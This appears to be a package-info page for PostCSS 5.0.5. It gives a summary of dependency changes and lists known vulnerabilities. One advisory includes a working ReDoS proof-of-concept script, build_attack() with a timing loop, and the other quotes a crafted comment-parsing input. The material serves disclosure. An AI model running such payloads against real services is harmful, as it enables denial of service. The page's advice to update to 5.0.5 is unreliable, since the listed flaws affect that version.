PostCSS version 5.0.5 represents a minor upgrade over its predecessor, version 5.0.4, offering subtle yet potentially impactful improvements for developers leveraging this powerful CSS transformation tool. Diving into the key changes, the most notable difference lies within its dependencies. PostCSS 5.0.5 updates the "source-map" dependency from version 0.4.4 to version 0.5.0 and "supports-color" from 3.1.0 to 3.1.1. These updates likely bring with them bug fixes, performance enhancements, and potentially new features related to source map generation and terminal color support. Furthermore, the development dependencies see an update to "postcss-parser-tests" from 5.0.2 to 5.0.3 and the removal of "gulp-run" and "gulp-util" replaced by "gulp-shell". This indicates adjustments in the testing and build processes, aimed at improved reliability and efficiency.
For developers, these changes translate to a more stable and performant PostCSS experience. While the core functionality remains consistent, the updated dependencies ensure better compatibility, more accurate source map handling, and reliable color output in various environments. The build process changes, though behind the scenes, contribute to a smoother development workflow for PostCSS contributors and those building custom plugins. Although the differences may appear incremental, these refinements build upon the solid foundation of PostCSS, reinforcing its position as a go-to tool for modern CSS development. Developers should update to 5.0.5 to benefit from these incremental improvements and ensure they are running the most up-to-date and well-supported version of the library.
All the vulnerabilities related to the version 5.0.5 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.